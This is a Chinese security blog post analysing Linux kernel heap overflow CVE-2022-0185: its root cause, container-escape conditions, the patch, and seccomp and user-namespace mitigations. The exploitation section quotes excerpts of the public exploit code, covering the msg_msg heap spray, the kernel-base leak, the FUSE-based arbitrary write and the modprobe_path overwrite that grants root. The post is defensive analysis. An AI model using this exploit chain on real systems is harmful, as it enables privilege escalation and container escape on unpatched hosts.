一、简介
CVE-2022-0185是一个Linux内核中”File System Context”中的一个堆溢出漏洞,攻击者可以利用该漏洞发起DDoS攻击,实现容器逃逸和提升至主机权限。该漏洞是在Google KCTF(基于Kubernetes的CTF)漏洞赏金计划中被Crusaders of Rust[1]团队的成员Jamie Hill-Daniel和William Liu发现[2]的,研究员因此获得了31337美元的奖励。截止本文发文之时,NVD官网[3]尚未给出CVSS相关评分,但根据容器逃逸和权限提升的危害和已公开的漏洞利用代码来看,最终评分等级应该为high级别。
据William所言,存在问题的代码于2019年3月在5.1-rc1版本中被引入Linux内核,直至2022年1月18日(5.16.2版本),官方才发布补丁修复该漏洞。然而要想成功利用CVE-2022-0185却并不容易,William在博客中用大量篇幅来讲述漏洞发现的过程和整个利用链的过程,感兴趣的读者可以阅读博客[4]。本文的目的之一是希望读者能够理解该漏洞的原理,作为云安全从业者,能够做好针对性的检测和防御工作。下面笔者将给出理解该漏洞所需的背景知识,然后对该漏洞进行分析,并给出相关缓解和修复方案,最后思考该漏洞的防御工作。
免责声明:本文中提到的漏洞利用代码和分析皆已在github仓库[5]和研究员博客中公开,仅供研究交流使用,请遵守《网络安全法》等相关法律法规,切勿将其用于未授权渗透测试。
二、背景知识
1、Filesystem Context
Filesystem Context是在创建Superblock的挂载和重新配置时使用的[6]。Superblock记录了一个文件系统的特征,包括它的大小、区块大小、空的和已填充的区块及其各自的计数、inode表的大小和位置、磁盘区块图和使用信息,以及区块组的大小。
2、Capabilities——CAP_SYS_ADMIN
Capabilities机制是在Linux内核2.2版本之后引入的,它的出现是为了对root权限进行更细粒度的控制,实现按需授权。常见的capability所允许的操作或行为如下表所示[7]:
capability 名称 | 描述 |
CAP_CHOWN | 改变文件的所属者(chown()) |
CAP_KILL | 向进程发送信号(kill(), signal()) |
CAP_SETUID | 改变进程的uid(setuid(), setreuid(), setresuid()等) |
CAP_SYS_PTRACE | trace进程(ptrace()) |
CAP_SYS_ADMIN | 提供系统管理员级别的操作 |
本文需要关注的是CAP_SYS_ADMIN,它提供众多命令的权限,如mount(2),umount(2),clone(2) 和 unshare(2)等。
3、Seccomp——Docker与Kubernetes的区别
Seccomp 全称Secure computing mode,意为安全计算模式,自 2.6.12 版本以来一直是 Linux 内核的功能。它可以用来对进程的特权进行沙盒处理,从而限制了它可以从用户空间向内核进行的调用。只有当Docker在构建时使用了Seccomp,并且内核在配置时启用了CONFIG_SECCOMP,这个功能才可用。可以用以下命令来检查当前环境是否支持Seccomp:
grep CONFIG_SECCOMP= /boot/config-$(uname -r)
当使用Docker运行一个容器时,它会使用默认的配置文件[8],除非使用–security-opt参数来指定自定义配置文件。该配置文件是一个允许列表,它默认拒绝访问系统调用,只有列表中的系统调用可以执行,一些重要的系统调用如clone,ptrace,unshare等都默认禁止在Docker中执行,如图1所示:
被禁用的原因在官方文档[9]有所说明,感兴趣的可以阅读了解。
但在早先版本(1.22版本之前)的Kubernetes集群中使用Docker时,Seccomp机制却是默认禁用的。在Kubernetes集群中创建一个普通的Pod资源,检查Seccomp机制的状态和Pod内部系统调用的执行情况,如图2所示:
可以看到Seccomp的状态值为0,代表禁用状态。
自1.22版本开始,Kubernetes引入了SeccompDefault特性,用来增强集群环境内的安全性。当该特性启用时,kubelet将默认使用由容器运行时定义的RuntimeDefault Seccomp配置文件,限制集群环境内的系统调用。
三、漏洞分析
1、漏洞成因
该漏洞发生Filesystem Context处理legacy参数时,由fs/fs_context.c的legacy_parse_param函数中存在的整数下溢引起,问题源码如下:
if (len > PAGE_SIZE - 2 - size)
return invalf(fc, "VFS: Legacy: Cumulative options too large");
if (strchr(param->key, ',') ||
(param->type == fs_value_is_string &&
memchr(param->string, ',', param->size)))
return invalf(fc, "VFS: Legacy: Option '%s' contained comma",
param->key);
if (!ctx->legacy_data) {
ctx->legacy_data = kmalloc(PAGE_SIZE, GFP_KERNEL);
if (!ctx->legacy_data)
return -ENOMEM;}
在第551行(代码中加粗部分)存在一个边界检查,如果(len>PAGE_SIZE – 2 – size),将返回一个错误;但当size大小为4095或更大时,因为PAGE_SIZE是4Kb ,无符号减法PAGE_SIZE – 2 – size的计算结果将是一个巨大的正值,该正值大于len,所以检查将不会触发,然后就会有一个越界写入(在第566行):
ctx->legacy_data[size++] = ',';
len = strlen(param->key);
memcpy(ctx->legacy_data + size, param->key, len);
size += len;
if (param->type == fs_value_is_string) {
ctx->legacy_data[size++] = '=';
}
因此通过向有漏洞的函数发送超过4095字节的数据,可以绕过输入长度检查,导致越界写入。这使得攻击者可以写到内存的其他部分,导致系统崩溃或运行任意代码从而实现容器逃逸或权限提升。
2、漏洞利用条件
该漏洞在宿主机上用于提升权限时,暂未发现利用的前提条件,只需以非root用户执行代码即可。
若用于容器逃逸,因为容器环境的安全隔离机制,需要判断容器内的环境是否满足一定条件。公开的利用链中包括特权系统调用,如fsopen(),因此需要攻击者拥有CAP_SYS_ADMIN capability(在任何命名空间),但该capability往往在容器以特权启动时被授予,或者添加–cap-add=SYS_ADMIN参数授予,并不会广泛出现。然而,该capability可以通过unshare系统调用获得。unshare系统调用会将进程分配至新的namespace,如在容器内部使用unshare -U命令可以使用户进入一个新的user namespace,由于Linux capability继承的机制,新的namespace拥有全部的capabilities,也包括CAP_SYS_ADMIN。通过上文的背景知识可以了解到比较矛盾的是,在Docker容器中,因为Seccomp机制的限制,unshare系统调用会被禁止,所以此种方法在普通业务容器中并不适用。但当处于低版本(1.22版本之前)的Kubernetes集群环境中,在默认配置情况下,非特权用户可以在Pod内部顺利执行unshare系统调用。因此,CVE-2022-0185用来容器逃逸的场景主要限于低版本Kubernetes集群环境。
四、漏洞利用
漏洞发现团队在GitHub仓库公开了漏洞利用代码,其中fuse版本是针对5.11.0-44内核版本的本地权限提升代码。它不会直接返回一个root shell,而是使/bin/bash添加suid权限,该脚本利用思路大致如下:
- 使用堆溢出来调整msg_msg的size,调用msgrcv()读内存,触发越界读取(注:调用msgrcv()读取内核数据时,带上MSG_COPY标志避免unlink时崩溃),接着使用open(“/proc/self/stat”, O_RDONLY)的技巧喷射许多seq_operations结构,尝试读取该结构泄露的指针,由此获得内核基址,并计算出modprobe_path地址:
uint64_t do_leak ()
{
......
// 喷射msg_msg对象
for (int i = 0; i < 8; i++)
{
memset(buffer, 0x41+i, sizeof(buffer));
targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
send_msg(targets[i], message, size - 0x30, 0);
}
memset(pat, 0x42, sizeof(pat));
pat[sizeof(pat)-1] = '\x00';
......
strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
for (int i = 0; i < 117; i++)
{
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
}
// 尝试用msg_msg对象引起越界读取
puts("[*] Overflowing...");
pat[21] = '\x00';
char evil[] = "\x60\x10";
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
// 喷射更多msg_msg
for (int i = 8; i < 0x10; i++)
{
memset(buffer, 0x41+i, sizeof(buffer));
targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
send_msg(targets[i], message, size - 0x30, 0);
}
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", evil, 0);
puts("[*] Done heap overflow");
puts("[*] Spraying kmalloc-32");
for (int i = 0; i < 100; i++)
{
open("/proc/self/stat", O_RDONLY);
}
size = 0x1060;
puts("[*] Attempting to recieve corrupted size and leak data");
// 检查是否可以得到泄露的内核基址
for (int j = 0; j < 0x10; j++)
{
get_msg(targets[j], recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR); kbase = do_check_leak(recieved);
if (kbase)
{
close(fd);
return kbase;
}
}
puts("[X] No leaks, trying again");
return 0;
}
- 然后利用作者提出的利用msg_msg对象进行任意地址读和写技术[11][12],该技术需要用到userfaultfd技术,但从内核11版本开始,非特权的userfaultfd默认是禁用的,所以作者在此引入了FUSE技术来替代,用任意地址写来实现用自定义的脚本覆盖modprobe_path:
void do_win()
{
......
puts("[*] Prepaing fault handlers via FUSE");
int evil_fd = open("evil/evil", O_RDWR);
if (evil_fd < 0)
{
perror("evil fd failed");
exit(-1);
}
if ((mmap((void *)0x1338000, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED, evil_fd, 0)) != (void *)0x1338000)
{
perror("mmap fail fuse 1");
exit(-1);
}
pthread_t thread;
int race = pthread_create(&thread, NULL, arb_write, NULL);
if(race != 0)
{
perror("can't setup threads for race");
}
send_msg(target, rooter, size - 0x30, 0);
pthread_join(thread, NULL);
munmap((void *)0x1337000, 0x1000);
munmap((void *)0x1338000, 0x1000);
close(evil_fd);
close(fd);}
- 最后使用execve触发modprobe,利用modprobe_path覆写技术,成功赋予/bin/bash suid权限:
void modprobe_hax()
{
puts("[*] Attempting to trigger modprobe");
execve(modprobe_trigger, NULL, NULL);
return;
}
脚本成功利用后可使用bash -p获得root权限。
要想使利用代码适用不同的内核版本,还需调整代码中single_start和modprobe_path的偏移量。
kctf版本代码可实现在GKE环境中完成容器逃逸,但是并不是100%可以成功,利用代码主要依赖FUSE和SYSVIPC弹性对象来实现任意写入。该版本代码若要适用不同的集群环境,需要修改的内容较多,本文暂不赘述。
除了”Crusaders of Rust “团队的利用代码,还有另一位研究人员发表了漏洞利用代码和技术分析文章[12],同样详细讲述了漏洞的利用过程,感兴趣的读者可以阅读。
五、补丁分析
查看官方针对此漏洞的补丁[13],修复后的代码如下:
fs/fs_context.c
@@ -548,7 +548,7 @@ static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param) param->key);
}
if (size + len + 2 > PAGE_SIZE)
return invalf(fc, "VFS: Legacy: Cumulative options too large");
if (strchr(param->key, ',') ||
(param->type == fs_value_is_string &&
修复方案较为简单,仅将之前的减法运算变更为加法,即条件判断改为size + len + 2 > PAGE_SIZE,就可以解决这个问题。
六、漏洞修复与缓解
用户可以升级Linux kernel到5.16.2版本来修复该漏洞。但是该修复版本并不适用于所有Linux发行版,包括那些使用Linux kernel开发的系统。对于这些暂时没有可用补丁的系统,建议用户禁用非特权用户命名空间。
在Ubuntu系统中,可以使用以下命令来禁用非特权用户命名空间:
sysctl -w kernel.unprivileged_userns_clone=0
Red Hat 用户可以使用以下命令来禁用用户命名空间:
echo "user.max_user_namespaces=0" > /etc/sysctl.d/userns.conf
sysctl -p /etc/sysctl.d/userns.conf
对于在Amazon EKS,Azure AKS和Google GKE环境的用户,可以通过更新节点镜像的方式修复漏洞[14]。
七、防范措施
了解漏洞的原理和利用条件之后,便可以从利用链的不同环节去防范此漏洞的利用。除了升级内核或更新补丁外,还可以用以下方法进行防范:
- 在容器环境中启用Seccomp机制,确保unshare系统调用的禁用。
- 对于低版本的Kubernetes环境,可以禁用非特权用户命名空间,具体参考上文中漏洞修复中步骤。
- 对于22版以上的Kubernetes,可以在资源创建时使用SecurityContext添加默认的Seccomp或AppArmor配置文件,以保护任何Pod、Deployment、StatefulSet、Replicaset或Daemonset。使用运行时默认Seccomp配置限制Pod使用unshare系统调用,具体配置方法如下:
apiVersion: v1
kind: Pod
metadata:
name: default-Pod
labels:
app: default-Pod
spec:
securityContext:
SeccompProfile:
type: RuntimeDefault #将Pod的Seccomp类型设置为RuntimeDefault
containers:
- name: test
image: ubuntu
imagePullPolicy: IfNotPresent"
command: [ "/bin/bash", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
securityContext:
allowPrivilegeEscalation: false
- 谨慎部署privileged特权容器,谨慎给Pod添加CAP_SYS_ADMIN内核能力。CAP_SYS_ADMIN虽只是众多capabilities中的一种,但其代表的权限略高,据《CAP_SYS_ADMIN: the new root》[15]中介绍,许多开发者会在授权capability时不知道如何细分,最终选择CAP_SYS_ADMIN来满足环境。
八、总结与思考
Linux作为一款免费开源的操作系统,被越来越多的用户和企业使用。正因用户数量大,使用范围广,一旦其内核曝出相关漏洞,往往后果严重。观察近几年曝出的内核相关漏洞,大多数是问题代码存在已久,在和不同的技术融合时,才作为漏洞被研究者挖掘出来。CVE-2022-0185虽已公开利用代码,但因为其利用代码适用性的问题,预测用于“本地权限提升”的可能性要大于容器逃逸。即便如此,由于容器共享宿主机内核的缘故,集群环境中大多数宿主机为Linux系统,云原生环境安全问题仍不容小觑。
希望读者以此文章对该漏洞有更好的了解与认识,建立针对该漏洞的方法和检测机制,共同建设云环境安全。
参考文献
[1] https://cor.team/
[2] https://www.openwall.com/lists/oss-security/2022/01/18/7
[3] https://nvd.nist.gov/vuln/detail/CVE-2022-0185
[4] https://www.willsroot.io/2022/01/cve-2022-0185.html
[5] https://github.com/Crusaders-of-Rust/CVE-2022-0185
[6] https://www.kernel.org/doc/html/latest/filesystems/mount_api.html#the-filesystem-context
[7] https://man7.org/linux/man-pages/man7/capabilities.7.html
[8] https://github.com/moby/moby/blob/master/profiles/seccomp/default.json
[9] https://docs.docker.com/engine/security/seccomp/#significant-syscalls-blocked-by-the-default-profile
[10] https://www.openwall.com/lists/oss-security/2022/01/25/14
[11] https://www.willsroot.io/2021/08/corctf-2021-fire-of-salvation-writeup.html
[12] https://syst3mfailure.io/wall-of-perdition
[13] https://github.com/torvalds/linux/commit/722d94847de29310e8aa03fcbdb41fc92c521756
[15] https://lwn.net/Articles/486306/
版权声明
本站“技术博客”所有内容的版权持有者为绿盟科技集团股份有限公司(“绿盟科技”)。作为分享技术资讯的平台,绿盟科技期待与广大用户互动交流,并欢迎在标明出处(绿盟科技-技术博客)及网址的情形下,全文转发。
上述情形之外的任何使用形式,均需提前向绿盟科技(010-68438880-5462)申请版权授权。如擅自使用,绿盟科技保留追责权利。同时,如因擅自使用博客内容引发法律纠纷,由使用者自行承担全部法律责任,与绿盟科技无关。